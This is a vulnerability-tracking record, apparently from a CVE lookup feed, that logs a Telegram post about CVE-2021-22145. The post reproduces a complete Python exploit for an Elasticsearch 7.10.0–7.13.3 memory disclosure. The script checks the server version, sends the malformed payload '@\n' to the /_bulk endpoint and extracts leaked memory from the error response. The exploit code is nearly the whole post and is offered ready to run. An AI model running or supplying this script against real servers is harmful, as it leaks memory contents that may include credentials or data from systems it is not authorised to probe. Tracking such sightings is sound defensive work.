{"uuid": "d9193d1f-8040-48f3-83b1-ae9cf00e7495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.796830Z"}